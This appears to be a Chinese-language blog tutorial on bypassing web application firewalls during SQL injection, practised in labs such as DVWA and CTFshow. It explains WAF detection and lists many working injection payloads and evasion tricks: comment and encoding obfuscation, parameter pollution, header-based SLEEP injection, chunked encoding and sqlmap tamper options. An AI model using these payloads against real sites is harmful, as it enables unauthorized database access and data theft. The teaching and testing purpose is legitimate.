1. 从零开始:为什么WAF绕过是SQL注入学习的必经之路
刚接触Web安全的新手,在DVWA、Pikachu这些靶场里摸爬滚打,好不容易搞懂了
union select
、
order by
这些基础注入手法,正觉得天下无敌时,一头撞上WAF(Web应用防火墙),十有八九会懵。你精心构造的
' or '1'='1
被无情拦截,返回一个冷冰冰的“检测到非法输入”或者直接500错误。那一刻的挫败感,是每个学习者都会经历的。但我要告诉你,这恰恰是进阶的开始。WAF不是学习的终点,而是真正理解SQL注入本质的起点。它像一位严格的考官,逼迫你从“脚本小子”式的工具使用,转向理解HTTP协议、数据库特性、代码逻辑和防御机制的核心原理。绕过WAF的过程,本质上是一场与安全工程师思维的对决,也是将分散的SQL注入知识(字符型、数字型、报错、盲注、延时注入)融会贯通的最佳实践。这篇文章,我们就来拆解这个从“零基础”到“能绕过基础WAF”的完整学习路径和实战心法。
2. 思维重塑:理解WAF的运作原理与核心弱点
在开始“绕过”之前,我们必须先搞清楚我们在绕什么。把WAF想象成一个守在Web应用门口的智能安检机,它的工作流程通常包含几个核心环节。
2.1 WAF的核心检测机制剖析
WAF的检测不是魔法,它主要依赖几种规则模式来工作。第一种是
基于正则表达式的特征匹配
。这是最基础、也最常用的方式。WAF维护着一个庞大的“黑名单”规则库,里面写满了像
(\s|%20)*(union|select|insert|update|delete|drop|alter)(\s|%20)+
这样的正则表达式。当你的HTTP请求(包括URL参数、POST数据、Cookie、Headers)经过时,WAF会将其与这些规则逐一匹配。一旦命中,请求就会被阻断或记录。这种方式的优点是速度快、覆盖广,但缺点也很明显:过于死板,容易误杀正常业务请求(比如一个叫“Union Bank”的查询参数),也容易被精心变形的攻击载荷绕过。
第二种是
基于语义/语法分析
。更高级的WAF会尝试解析SQL语句的逻辑结构。例如,它会分析
UNION
前后查询的列数是否一致,或者检查
WHERE
条件中是否出现了永真式(如
1=1
)。这种方式能防御一些简单的混淆,但对攻击者构造的、符合SQL语法但逻辑异常的语句,识别起来仍有难度,且计算开销较大。
第三种是
基于行为/频率的异常检测
。WAF会监控单个IP或会话在短时间内提交的请求特征,例如大量包含单引号、
AND
、
OR
的请求,或者频繁触发404错误的路径探测。这种行为模型可以用来防御自动化扫描工具和盲注攻击。
2.2 WAF部署的“盲点”与我们的突破口
理解了检测机制,我们就能找到WAF部署架构上的固有弱点。绝大多数WAF都是以 反向代理 或 透明桥 模式部署在Web服务器之前的。这意味着,WAF看到的数据流和最终Web应用(如PHP、Java程序)解析的数据流,可能存在差异。这些差异就是我们的突破口。
-
协议解析差异
:WAF和Web服务器对HTTP协议规范的实现可能不完全一致。例如,对于
Transfer-Encoding: chunked分块编码的数据,或者对URL的多重编码(如%2527代表单引号%27再编码一次),两者的解析结果可能不同。WAF可能只解码一次,而Web服务器解码了两次,导致攻击载荷成功“过检”。 -
数据解析层级差异
:这是最关键的一点。WAF通常在应用层(HTTP)进行检测,而Web应用框架或数据库驱动,会对接收到的数据进行进一步处理。例如,
JSON格式的POST数据、XML格式的请求体,甚至是multipart/form-data格式中的文件名。WAF可能只做简单的字符串匹配,而应用会按照格式规范解析出真正的参数值。 -
资源限制与性能权衡
:WAF为了保障性能,不可能对每一个请求都进行最深度的语法分析和上下文关联。它往往设置检测深度限制(例如只检查前
4096字节)、忽略某些被认为“安全”的头部(如User-Agent),或者对加密的HTTPS流量只做被动解密检测(如果配置不当,甚至可能不检测)。这些性能权衡留下了安全空隙。
注意 :这里讨论的绕过技术,均指针对通用、规则化WAF的测试与理解过程,旨在提升防御方对攻击手法的认知,加固自身应用。所有测试必须在 自己完全可控的合法靶场环境 (如DVWA、Pikachu、CTFshow靶场)中进行,严禁对任何非授权系统进行测试。
3. 实战工具箱:基础绕过手法详解与靶场演练
理论说再多,不如动手试一次。我们以最常见的“拦截
union select
”为例,在DVWA(将安全级别设为Medium或High以模拟WAF)或CTFshow的SQL注入关卡中,看看如何一步步绕过。
3.1 大小写与字符编码混淆
这是最入门级的绕过。许多简单的正则规则是大小写敏感的。
-
原始载荷
:
?id=1 union select 1,2,3 -
绕过尝试1(大小写)
:
?id=1 UniOn SeLeCt 1,2,3 -
绕过尝试2(内联注释)
:
?id=1 union/**/select 1,2,3(在MySQL中,/**/是注释,但WAF可能将其视为空格分隔符) -
绕过尝试3(URL编码)
:
?id=1 union%20select%201,2,3(空格编码)。更进一步,对关键字进行全编码:u=%75,n=%6E... 但注意,浏览器通常会自动解码,所以需要工具(如Burp Suite)直接发送编码后的字节。
实操心得
:在Burp Suite的Repeater模块中,你可以方便地对
Payload
进行各种编码(
Ctrl+Shift+U
进行URL编码)。观察WAF的拦截日志(如果有的话)或响应变化,能帮你快速判断哪种混淆生效了。
3.2 等价函数与语句替换
如果
union select
被整体封杀,我们可以尝试不用
union
。
-
基于错误的注入
:使用
extractvalue()、updatexml()等函数触发数据库报错,从而带出数据。例如:?id=1 and extractvalue(1, concat(0x7e, (select database()), 0x7e)) -
布尔盲注
:当页面只有“存在”和“不存在”两种状态时,使用
and、or配合substr()、ascii()、like等函数一位位猜解数据。例如:?id=1 and ascii(substr(database(),1,1))>100 -
时间盲注
:当页面无任何回显差异时,使用
sleep()、benchmark()等函数,通过页面响应时间的差异来判断条件真假。例如:?id=1 and if(ascii(substr(database(),1,1))>100, sleep(5), 0)
避坑指南
:时间盲注在网络不稳定的环境下极易误判。务必在Payload中设置一个明显的基准时间(如
sleep(5)
),并通过多次请求取平均响应时间来减少误差。在Burp Suite的Intruder模块中,使用
Grep-Extract
功能提取响应时间,能极大提升效率。
3.3 特殊符号与空白符的妙用
利用WAF与SQL解析器对特殊字符处理方式的差异。
-
**反引号(
)**:在MySQL中,反引号用于包裹数据库名、表名、字段名。有时可以绕过对空格的检测:union select-> ``unionselect``。 -
换行符(%0a)
:
union%0aselect。WAF的正则可能将\s(空白)定义为空格和制表符,但不包含换行符。 -
括号
:
union(select(1),2,3)。多余的括号可能破坏正则匹配模式,但数据库仍能正确解析。 -
注释符包裹
:
?id=1 /*!union*/ /*!select*/ 1,2,3。在MySQL中,/*!...*/是一种特殊注释,其中的内容在特定版本以上的MySQL中会被执行。这可以用来隐藏关键字。
3.4 参数污染与多重参数
这是利用“数据解析层级差异”的经典方法。假设原始参数是
?id=1
。
-
简单参数污染
:
?id=1&id=union select 1,2,3。不同的Web后端框架对同名参数的处理逻辑不同。PHP($_GET[‘id’])通常取最后一个值(union select 1,2,3),而JSP/Tomcat可能取第一个值(1)。如果WAF检测第一个值,而应用使用最后一个值,则绕过成功。 -
参数拆分
:将Payload拆散到不同的参数中,通过数据库的字符串拼接函数组合起来。例如:
?a=uni&b=on&c=sel&d=ect,然后在注入点构造... and concat(0x7e, (select concat(@a,@b,@c,@d)), 0x7e),但这需要你先能控制多个参数并知道其变量名,实战中较难利用,但在一些CTF题目中会出现。
4. 进阶突破:利用协议与格式差异的高级技巧
当基础手法都失效时,我们需要更深入地利用WAF与后端应用之间的“缝隙”。
4.1 请求方法转换与数据格式伪装
WAF的规则集可能对不同
HTTP Method
或
Content-Type
的检测严格度不同。
- GET转POST :如果一个注入点在GET参数中,尝试将其改为POST参数提交。WAF对POST体的检测规则可能更宽松或不同。
-
JSON/XML格式注入
:如果应用接收JSON数据(
Content-Type: application/json),例如{"id": "1"}。尝试注入:{"id": "1 union select 1,2,3"}。WAF可能只将其视为一个JSON字符串值,而应用在解析JSON后,会将整个字符串值代入SQL查询。同样,XML格式也存在类似可能。 -
Content-Type混淆
:将
Content-Type改为application/x-www-form-urlencoded,但实际发送JSON格式数据,或者反之。后端框架的解析器可能更“宽容”,而WAF的检测引擎可能因类型判断错误而放行。
4.2 HTTP头部注入与污染
注入点不一定只在URL或Body里。
-
Cookie注入
:应用有时会将Cookie值(如用户ID)直接拼入SQL查询。在Burp Suite中修改
Cookie: id=1' and '1'='1进行测试。 -
User-Agent / X-Forwarded-For 注入
:一些应用会记录这些头部信息到数据库。如果记录时未过滤,就可能成为注入点。例如:
User-Agent: Mozilla' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Header名称污染
:极少数情况下,甚至可以在Header名称里做文章,例如发送一个头部:
X-Injected-Header': 'value,如果后端代码错误地拼接了头部名称和值,可能产生漏洞。
4.3 分块编码传输绕过
Transfer-Encoding: chunked
允许将请求体分块发送。WAF为了性能,可能只检查第一个数据块,或者因为解析分块编码逻辑复杂而直接放行。你可以使用Burp Suite的“Chunked-encoding converter”扩展,将你的攻击Payload编码成分块格式发送。这经常能绕过一些对POST数据体进行长度限制或简单匹配的WAF。
操作实录 :
- 在Burp的Repeater中,构造好你的POST请求。
-
在
Payload标签页,找到“Transfer-encoding”部分,勾选“Chunked-encoding”。 - 发送请求。观察WAF是否拦截。关键在于,你的恶意SQL语句可能被拆分到不同的“块”中,破坏了WAF正则的匹配模式。
5. 实战复盘:从靶场到复杂场景的思维构建
掌握了各种技巧后,我们需要一种系统性的思维来应对未知的WAF。
5.1 信息收集与指纹识别
面对一个陌生的防护,第一步永远是信息收集。
-
识别WAF
:使用工具如
wafw00f或手工发送一些特征请求(如?id=1 AND 1=1,?id=1'),根据返回的HTTP状态码、响应头(如Server、X-Powered-By)、错误页面特征来判断WAF类型(Cloudflare, ModSecurity, 阿里云盾等)。不同WAF的默认规则强弱和特点不同。 -
探测规则边界
:发送一系列从“最清白”到“最恶意”的测试载荷,观察拦截阈值。例如:
-
?id=1(正常) -
?id=1'(单引号) -
?id=1' --+(单引号加注释) -
?id=1' and '1'='1(永真条件) -
?id=1' union select 1,2,3 --+(完整联合查询) 记录下从哪一步开始被拦截,这能帮你定位WAF检测的关键词或模式。
-
5.2 自动化与工具链的辅助
手工测试效率低,合理使用工具至关重要。
-
SQLMap的Tamper脚本
:SQLMap的强大之处在于其丰富的
tamper脚本(位于/tamper/目录)。这些脚本能自动对Payload进行各种混淆编码。例如:-
--tamper=space2comment:用/**/替换空格 -
--tamper=between:用between替换大于号> -
--tamper=charencode:对Payload进行URL编码 -
--tamper=randomcase:随机大小写 你可以组合使用:--tamper=space2comment,randomcase。更可以研究这些脚本的源码,学习其绕过思路,甚至自己编写针对特定WAF的tamper脚本。
-
- Burp Suite Intruder的模糊测试 :对于某个确定的注入点,你可以使用Intruder的“Pitchfork”或“Cluster bomb”模式,将一个Payload的不同部分(如关键字、空白符、注释符)设置为变量,导入自定义的字典进行模糊测试,快速探测有效的绕过组合。
5.3 常见问题与排查清单
在实际绕过尝试中,你肯定会遇到各种奇怪的问题。下面这个清单可以帮助你快速定位:
| 现象 | 可能原因 | 排查思路 |
|---|---|---|
| 所有包含单引号的请求都被拦截 | WAF开启了非常严格的特殊字符过滤 |
尝试不使用引号的注入方式,如基于整型的错误注入或盲注。或尝试编码引号(
%27
)、使用双引号、使用十六进制字符串(
0x...
)。
|
union
和
select
单独出现不拦截,但连在一起就拦截
| WAF有 关键字组合 检测规则 |
尝试用注释、换行符、括号等将两个词分开:
union/*!50000select*/
或
union%0aselect
。
|
| 在Burp里测试成功,但在浏览器里失败 | 浏览器自动进行了URL解码或格式化 |
检查浏览器地址栏,参数可能已被解码。使用Burp Suite的
Repeater
或
Intruder
模块发送的才是原始请求。确保测试环境一致。
|
时间盲注的
sleep()
函数不生效
| 数据库用户权限不足,或函数被禁用,或网络延迟掩盖了时间差 |
尝试使用
benchmark(10000000, md5(‘test’))
等消耗CPU的函数替代
sleep
。在Payload中增加
sleep
时间(如10秒),并通过多次请求确认时间差异的稳定性。
|
绕过WAF后,执行
select
语句却返回空白或错误
| 可能存在 输出过滤/转义 ,或 查询列数/类型不匹配 |
检查页面源代码,看数据是否被输出到了HTML注释或JS变量中。使用
union select null,null,null...
确定列数,并尝试将敏感信息(如
database()
)放在不同列位输出。
|
最后,我必须强调一个贯穿始终的心得: 所有绕过技术的本质,都是寻找“检查者”(WAF)和“执行者”(数据库)之间的认知差 。你的学习目标不应是收集更多的Payload,而是深入理解HTTP、SQL、编程语言解析器这三者之间微妙的、不一致的边界。当你开始能预测“如果我这样构造,WAF会怎么想,数据库又会怎么理解”的时候,你就真正入门了。在你自己搭建的靶场(DVWA、SQLi Labs、CTFshow)里,反复练习这些手法,并尝试从防御者角度去写一些简单的过滤函数,你会对这个问题有更深的认识。这条路没有捷径,唯手熟尔。

491

被折叠的 条评论
为什么被折叠?



